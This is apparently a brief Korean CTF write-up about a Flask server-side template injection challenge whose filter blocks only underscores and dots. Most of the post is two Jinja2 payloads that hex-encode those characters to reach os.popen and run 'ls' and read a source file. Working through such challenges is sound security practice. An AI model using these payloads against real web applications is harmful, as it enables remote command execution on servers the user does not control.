Flask SSTI인데 필터링이 _ 랑 . 이렇게 두개밖에 없다. 필터가 빡센편이 아니라 아래 페이로드로 우회해서 명령어 실행해주면 된다.
payload
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('ls')['read']()}}
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('cat fort\x2epy')['read']()}}
'CTF > Writeup' 카테고리의 다른 글
DEF CON CTF Qualifier 2019 cant_even_unplug_it (0) | 2019.05.13 |
---|---|
angstrom ctf 2019 Web Write up (0) | 2019.04.25 |
Byte Bandits CTF 2019 Web Writeup (0) | 2019.04.14 |
Midnight Sun CTF 2019 Quals Rubenscube (0) | 2019.04.08 |
CBM CTF 2019 Writeup (0) | 2019.04.08 |